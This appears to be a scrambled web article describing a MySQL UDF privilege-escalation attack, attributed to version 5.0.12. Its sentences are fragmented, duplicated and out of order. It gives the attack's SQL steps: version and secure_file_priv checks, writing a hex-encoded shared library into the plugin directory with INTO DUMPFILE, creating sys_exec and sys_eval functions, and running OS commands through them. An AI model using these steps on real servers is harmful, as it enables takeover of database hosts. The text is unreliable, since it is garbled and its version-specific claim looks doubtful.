Mysql 5.0.12 Exploit -
SELECT @@secure_file_priv; Prior to MySQL 5.5, secure_file_priv was often empty, allowing file writes anywhere the mysql user had access. The attacker cannot upload binary files via standard SQL INSERT easily, but they can use INTO DUMPFILE . Exploit code (e.g., raptor_udf2.c or lib_mysqludf_sys.so ) is hex-encoded and written to disk.
Next, they check for write permissions:
Introduction In the pantheon of database vulnerabilities, few have sparked as much quiet panic among system administrators as the privilege escalation attack against MySQL 5.0.12 . Released in 2005, this version of the world’s most popular open-source database contained a flaw in its User Defined Function (UDF) component that turned a standard SQL injection vulnerability into full operating system compromise. mysql 5.0.12 exploit
Why /usr/lib/mysql/plugin/ ? This is the default UDF directory. If writable, the attack is trivial. If not, the attacker looks for world-writable directories like /tmp or /var/tmp and hopes the MySQL daemon’s library path includes them (rare, but possible in misconfigurations). With the .so file on disk, the attacker loads the UDF:
SELECT @@version; If the return is 5.0.12 or 5.0.12-community , the system is vulnerable. SELECT @@secure_file_priv; Prior to MySQL 5
CREATE FUNCTION sys_exec RETURNS INT SONAME 'exploit.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'exploit.so'; Suddenly, the attacker can run operating system commands:
SELECT 0x7f454c460201010000000000000000000300... INTO DUMPFILE '/usr/lib/mysql/plugin/exploit.so'; (Note: The hex string represents a compiled shared library containing a sys_exec() function.) Next, they check for write permissions: Introduction In
-- Execute a command, return the exit code SELECT sys_exec('id > /tmp/owned.txt'); -- Return the output of a command as a string SELECT sys_eval('whoami');